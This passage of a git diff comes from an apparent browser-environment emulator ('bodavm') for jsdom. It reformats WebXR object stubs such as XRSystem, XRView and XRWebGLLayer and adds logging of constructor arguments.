(!(this instanceof XRSpace)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} - +bodavm.memory.globalobj['XRSpace'] = function XRSpace() { + console.log_copy('XRSpace 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRSpace)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSpace'], "XRSpace"); - -bodavm.memory.globalobj['XRSpace'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; - -bodavm.memory.globalobj['XRSpace'].__proto__=bodavm.memory.globalobj['EventTarget']; - +bodavm.memory.globalobj['XRSpace'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRSpace'].__proto__ = bodavm.memory.globalobj['EventTarget']; \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRSystem.js b/env_xbb_lastest_jsdom/env/XRSystem.js index efe4a090..a334a45e 100644 --- a/env_xbb_lastest_jsdom/env/XRSystem.js +++ b/env_xbb_lastest_jsdom/env/XRSystem.js @@ -1,9 +1,53 @@ -// XRSystem对象 -bodavm.memory.globalobj['XRSystem'] = function XRSystem(){if (!(this instanceof XRSystem)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSystem'], "XRSystem"); -bodavm.memory.globalobj['XRSystem'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['XRSystem'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('XRSystem', "ondevicechange", {configurable:true, enumerable:true, get:function ondevicechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "ondevicechange_get", arguments)}, set:function ondevicechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "ondevicechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSystem', "isSessionSupported", {configurable:true, enumerable:true, writable:true, value:function isSessionSupported (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "isSessionSupported", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSystem', "requestSession", {configurable:true, enumerable:true, writable:true, value:function requestSession (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "requestSession", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRSystem', "supportsSession", {configurable:true, enumerable:true, writable:true, value:function supportsSession (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "supportsSession", arguments)}},'prototype'); +// XRSystem对象 + +bodavm.memory.globalobj['XRSystem'] = function XRSystem() { + console.log_copy('XRSystem 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRSystem)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRSystem'], "XRSystem"); +bodavm.memory.globalobj['XRSystem'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['XRSystem'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('XRSystem', "ondevicechange", { + configurable: true, + enumerable: true, + get: function ondevicechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "ondevicechange_get", arguments); + }, + set: function ondevicechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "ondevicechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSystem', "isSessionSupported", { + configurable: true, + enumerable: true, + writable: true, + value: function isSessionSupported() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "isSessionSupported", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSystem', "requestSession", { + configurable: true, + enumerable: true, + writable: true, + value: function requestSession() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "requestSession", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRSystem', "supportsSession", { + configurable: true, + enumerable: true, + writable: true, + value: function supportsSession() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRSystem'].prototype, "XRSystem", "supportsSession", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRTransientInputHitTestResult.js b/env_xbb_lastest_jsdom/env/XRTransientInputHitTestResult.js index 56620016..7e93b0fa 100644 --- a/env_xbb_lastest_jsdom/env/XRTransientInputHitTestResult.js +++ b/env_xbb_lastest_jsdom/env/XRTransientInputHitTestResult.js @@ -1,5 +1,33 @@ -// XRTransientInputHitTestResult对象 -bodavm.memory.globalobj['XRTransientInputHitTestResult'] = function XRTransientInputHitTestResult(){if (!(this instanceof XRTransientInputHitTestResult)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRTransientInputHitTestResult'], "XRTransientInputHitTestResult"); -bodavm.toolsFunc.defineProperty('XRTransientInputHitTestResult', "inputSource", {configurable:true, enumerable:true, get:function inputSource (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestResult'].prototype, "XRTransientInputHitTestResult", "inputSource_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRTransientInputHitTestResult', "results", {configurable:true, enumerable:true, get:function results (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestResult'].prototype, "XRTransientInputHitTestResult", "results_get", arguments)}, set:undefined},'prototype'); +// XRTransientInputHitTestResult对象 + +bodavm.memory.globalobj['XRTransientInputHitTestResult'] = function XRTransientInputHitTestResult() { + console.log_copy('XRTransientInputHitTestResult 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRTransientInputHitTestResult)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRTransientInputHitTestResult'], "XRTransientInputHitTestResult"); +bodavm.toolsFunc.defineProperty('XRTransientInputHitTestResult', "inputSource", { + configurable: true, + enumerable: true, + get: function inputSource() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestResult'].prototype, "XRTransientInputHitTestResult", "inputSource_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRTransientInputHitTestResult', "results", { + configurable: true, + enumerable: true, + get: function results() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestResult'].prototype, "XRTransientInputHitTestResult", "results_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRTransientInputHitTestSource.js b/env_xbb_lastest_jsdom/env/XRTransientInputHitTestSource.js index f42f3d45..e30ad79d 100644 --- a/env_xbb_lastest_jsdom/env/XRTransientInputHitTestSource.js +++ b/env_xbb_lastest_jsdom/env/XRTransientInputHitTestSource.js @@ -1,4 +1,25 @@ -// XRTransientInputHitTestSource对象 -bodavm.memory.globalobj['XRTransientInputHitTestSource'] = function XRTransientInputHitTestSource(){if (!(this instanceof XRTransientInputHitTestSource)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRTransientInputHitTestSource'], "XRTransientInputHitTestSource"); -bodavm.toolsFunc.defineProperty('XRTransientInputHitTestSource', "cancel", {configurable:true, enumerable:true, writable:true, value:function cancel (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestSource'].prototype, "XRTransientInputHitTestSource", "cancel", arguments)}},'prototype'); +// XRTransientInputHitTestSource对象 + +bodavm.memory.globalobj['XRTransientInputHitTestSource'] = function XRTransientInputHitTestSource() { + console.log_copy('XRTransientInputHitTestSource 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRTransientInputHitTestSource)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRTransientInputHitTestSource'], "XRTransientInputHitTestSource"); +bodavm.toolsFunc.defineProperty('XRTransientInputHitTestSource', "cancel", { + configurable: true, + enumerable: true, + writable: true, + value: function cancel() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRTransientInputHitTestSource'].prototype, "XRTransientInputHitTestSource", "cancel", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRView.js b/env_xbb_lastest_jsdom/env/XRView.js index c1d3b891..9d9ce85f 100644 --- a/env_xbb_lastest_jsdom/env/XRView.js +++ b/env_xbb_lastest_jsdom/env/XRView.js @@ -1,10 +1,73 @@ -// XRView对象 -bodavm.memory.globalobj['XRView'] = function XRView(){if (!(this instanceof XRView)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRView'], "XRView"); -bodavm.toolsFunc.defineProperty('XRView', "eye", {configurable:true, enumerable:true, get:function eye (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "eye_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "projectionMatrix", {configurable:true, enumerable:true, get:function projectionMatrix (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "projectionMatrix_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "transform", {configurable:true, enumerable:true, get:function transform (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "transform_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "recommendedViewportScale", {configurable:true, enumerable:true, get:function recommendedViewportScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "recommendedViewportScale_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "isFirstPersonObserver", {configurable:true, enumerable:true, get:function isFirstPersonObserver (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "isFirstPersonObserver_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "camera", {configurable:true, enumerable:true, get:function camera (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "camera_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRView', "requestViewportScale", {configurable:true, enumerable:true, writable:true, value:function requestViewportScale (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "requestViewportScale", arguments)}},'prototype'); +// XRView对象 + +bodavm.memory.globalobj['XRView'] = function XRView() { + console.log_copy('XRView 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRView)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRView'], "XRView"); +bodavm.toolsFunc.defineProperty('XRView', "eye", { + configurable: true, + enumerable: true, + get: function eye() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "eye_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "projectionMatrix", { + configurable: true, + enumerable: true, + get: function projectionMatrix() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "projectionMatrix_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "transform", { + configurable: true, + enumerable: true, + get: function transform() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "transform_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "recommendedViewportScale", { + configurable: true, + enumerable: true, + get: function recommendedViewportScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "recommendedViewportScale_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "isFirstPersonObserver", { + configurable: true, + enumerable: true, + get: function isFirstPersonObserver() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "isFirstPersonObserver_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "camera", { + configurable: true, + enumerable: true, + get: function camera() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "camera_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRView', "requestViewportScale", { + configurable: true, + enumerable: true, + writable: true, + value: function requestViewportScale() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRView'].prototype, "XRView", "requestViewportScale", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRViewerPose.js b/env_xbb_lastest_jsdom/env/XRViewerPose.js index b995fe70..19af5880 100644 --- a/env_xbb_lastest_jsdom/env/XRViewerPose.js +++ b/env_xbb_lastest_jsdom/env/XRViewerPose.js @@ -1,6 +1,27 @@ -// XRViewerPose对象 -bodavm.memory.globalobj['XRViewerPose'] = function XRViewerPose(){if (!(this instanceof XRViewerPose)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRViewerPose'], "XRViewerPose"); -bodavm.memory.globalobj['XRViewerPose'].prototype.__proto__=bodavm.memory.globalobj['XRPose'].prototype; -bodavm.memory.globalobj['XRViewerPose'].__proto__=bodavm.memory.globalobj['XRPose']; -bodavm.toolsFunc.defineProperty('XRViewerPose', "views", {configurable:true, enumerable:true, get:function views (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewerPose'].prototype, "XRViewerPose", "views_get", arguments)}, set:undefined},'prototype'); +// XRViewerPose对象 + +bodavm.memory.globalobj['XRViewerPose'] = function XRViewerPose() { + console.log_copy('XRViewerPose 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRViewerPose)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRViewerPose'], "XRViewerPose"); +bodavm.memory.globalobj['XRViewerPose'].prototype.__proto__ = bodavm.memory.globalobj['XRPose'].prototype; +bodavm.memory.globalobj['XRViewerPose'].__proto__ = bodavm.memory.globalobj['XRPose']; +bodavm.toolsFunc.defineProperty('XRViewerPose', "views", { + configurable: true, + enumerable: true, + get: function views() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewerPose'].prototype, "XRViewerPose", "views_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRViewport.js b/env_xbb_lastest_jsdom/env/XRViewport.js index af852024..82166283 100644 --- a/env_xbb_lastest_jsdom/env/XRViewport.js +++ b/env_xbb_lastest_jsdom/env/XRViewport.js @@ -1,7 +1,49 @@ -// XRViewport对象 -bodavm.memory.globalobj['XRViewport'] = function XRViewport(){if (!(this instanceof XRViewport)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRViewport'], "XRViewport"); -bodavm.toolsFunc.defineProperty('XRViewport', "x", {configurable:true, enumerable:true, get:function x (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "x_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRViewport', "y", {configurable:true, enumerable:true, get:function y (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "y_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRViewport', "width", {configurable:true, enumerable:true, get:function width (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "width_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRViewport', "height", {configurable:true, enumerable:true, get:function height (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "height_get", arguments)}, set:undefined},'prototype'); +// XRViewport对象 + +bodavm.memory.globalobj['XRViewport'] = function XRViewport() { + console.log_copy('XRViewport 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRViewport)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRViewport'], "XRViewport"); +bodavm.toolsFunc.defineProperty('XRViewport', "x", { + configurable: true, + enumerable: true, + get: function x() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "x_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRViewport', "y", { + configurable: true, + enumerable: true, + get: function y() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "y_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRViewport', "width", { + configurable: true, + enumerable: true, + get: function width() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "width_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRViewport', "height", { + configurable: true, + enumerable: true, + get: function height() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRViewport'].prototype, "XRViewport", "height_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRWebGLBinding.js b/env_xbb_lastest_jsdom/env/XRWebGLBinding.js index 02498d54..88522b43 100644 --- a/env_xbb_lastest_jsdom/env/XRWebGLBinding.js +++ b/env_xbb_lastest_jsdom/env/XRWebGLBinding.js @@ -1,6 +1,41 @@ -// XRWebGLBinding对象 -bodavm.memory.globalobj['XRWebGLBinding'] = function XRWebGLBinding(){if (!(this instanceof XRWebGLBinding)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRWebGLBinding': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLBinding'], "XRWebGLBinding"); -bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getCameraImage", {configurable:true, enumerable:true, writable:true, value:function getCameraImage (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getCameraImage", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getDepthInformation", {configurable:true, enumerable:true, writable:true, value:function getDepthInformation (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getDepthInformation", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getReflectionCubeMap", {configurable:true, enumerable:true, writable:true, value:function getReflectionCubeMap (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getReflectionCubeMap", arguments)}},'prototype'); +// XRWebGLBinding对象 + +bodavm.memory.globalobj['XRWebGLBinding'] = function XRWebGLBinding() { + console.log_copy('XRWebGLBinding 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRWebGLBinding)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRWebGLBinding': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLBinding'], "XRWebGLBinding"); +bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getCameraImage", { + configurable: true, + enumerable: true, + writable: true, + value: function getCameraImage() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getCameraImage", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getDepthInformation", { + configurable: true, + enumerable: true, + writable: true, + value: function getDepthInformation() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getDepthInformation", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLBinding', "getReflectionCubeMap", { + configurable: true, + enumerable: true, + writable: true, + value: function getReflectionCubeMap() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLBinding'].prototype, "XRWebGLBinding", "getReflectionCubeMap", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRWebGLDepthInformation.js b/env_xbb_lastest_jsdom/env/XRWebGLDepthInformation.js index 7d8867f7..44126c03 100644 --- a/env_xbb_lastest_jsdom/env/XRWebGLDepthInformation.js +++ b/env_xbb_lastest_jsdom/env/XRWebGLDepthInformation.js @@ -1,6 +1,27 @@ -// XRWebGLDepthInformation对象 -bodavm.memory.globalobj['XRWebGLDepthInformation'] = function XRWebGLDepthInformation(){if (!(this instanceof XRWebGLDepthInformation)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLDepthInformation'], "XRWebGLDepthInformation"); -bodavm.memory.globalobj['XRWebGLDepthInformation'].prototype.__proto__=bodavm.memory.globalobj['XRDepthInformation'].prototype; -bodavm.memory.globalobj['XRWebGLDepthInformation'].__proto__=bodavm.memory.globalobj['XRDepthInformation']; -bodavm.toolsFunc.defineProperty('XRWebGLDepthInformation', "texture", {configurable:true, enumerable:true, get:function texture (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLDepthInformation'].prototype, "XRWebGLDepthInformation", "texture_get", arguments)}, set:undefined},'prototype'); +// XRWebGLDepthInformation对象 + +bodavm.memory.globalobj['XRWebGLDepthInformation'] = function XRWebGLDepthInformation() { + console.log_copy('XRWebGLDepthInformation 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRWebGLDepthInformation)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLDepthInformation'], "XRWebGLDepthInformation"); +bodavm.memory.globalobj['XRWebGLDepthInformation'].prototype.__proto__ = bodavm.memory.globalobj['XRDepthInformation'].prototype; +bodavm.memory.globalobj['XRWebGLDepthInformation'].__proto__ = bodavm.memory.globalobj['XRDepthInformation']; +bodavm.toolsFunc.defineProperty('XRWebGLDepthInformation', "texture", { + configurable: true, + enumerable: true, + get: function texture() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLDepthInformation'].prototype, "XRWebGLDepthInformation", "texture_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/XRWebGLLayer.js b/env_xbb_lastest_jsdom/env/XRWebGLLayer.js index 6ab2c3a7..2ebd803b 100644 --- a/env_xbb_lastest_jsdom/env/XRWebGLLayer.js +++ b/env_xbb_lastest_jsdom/env/XRWebGLLayer.js @@ -1,12 +1,75 @@ -// XRWebGLLayer对象 -bodavm.memory.globalobj['XRWebGLLayer'] = function XRWebGLLayer(){if (!(this instanceof XRWebGLLayer)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRWebGLLayer': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLLayer'], "XRWebGLLayer"); -bodavm.memory.globalobj['XRWebGLLayer'].prototype.__proto__=bodavm.memory.globalobj['XRLayer'].prototype; -bodavm.memory.globalobj['XRWebGLLayer'].__proto__=bodavm.memory.globalobj['XRLayer']; -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "getNativeFramebufferScaleFactor", {configurable:true, enumerable:true, writable:true, value:function getNativeFramebufferScaleFactor (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].undefined, "XRWebGLLayer", "getNativeFramebufferScaleFactor", arguments)}}); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "antialias", {configurable:true, enumerable:true, get:function antialias (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "antialias_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "ignoreDepthValues", {configurable:true, enumerable:true, get:function ignoreDepthValues (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "ignoreDepthValues_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebufferWidth", {configurable:true, enumerable:true, get:function framebufferWidth (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebufferWidth_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebufferHeight", {configurable:true, enumerable:true, get:function framebufferHeight (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebufferHeight_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "framebuffer", {configurable:true, enumerable:true, get:function framebuffer (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "framebuffer_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('XRWebGLLayer', "getViewport", {configurable:true, enumerable:true, writable:true, value:function getViewport (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "getViewport", arguments)}},'prototype'); +// XRWebGLLayer对象 + +bodavm.memory.globalobj['XRWebGLLayer'] = function XRWebGLLayer() { + console.log_copy('XRWebGLLayer 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof XRWebGLLayer)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'XRWebGLLayer': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['XRWebGLLayer'], "XRWebGLLayer"); +bodavm.memory.globalobj['XRWebGLLayer'].prototype.__proto__ = bodavm.memory.globalobj['XRLayer'].prototype; +bodavm.memory.globalobj['XRWebGLLayer'].__proto__ = bodavm.memory.globalobj['XRLayer']; +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "getNativeFramebufferScaleFactor", { + configurable: true, + enumerable: true, + writable: true, + value: function getNativeFramebufferScaleFactor() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].undefined, "XRWebGLLayer", "getNativeFramebufferScaleFactor", arguments); + } +}); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "antialias", { + configurable: true, + enumerable: true, + get: function antialias() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", "antialias_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('XRWebGLLayer', "ignoreDepthValues", { + configurable: true, + enumerable: true, + get: function ignoreDepthValues() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['XRWebGLLayer'].prototype, "XRWebGLLayer", 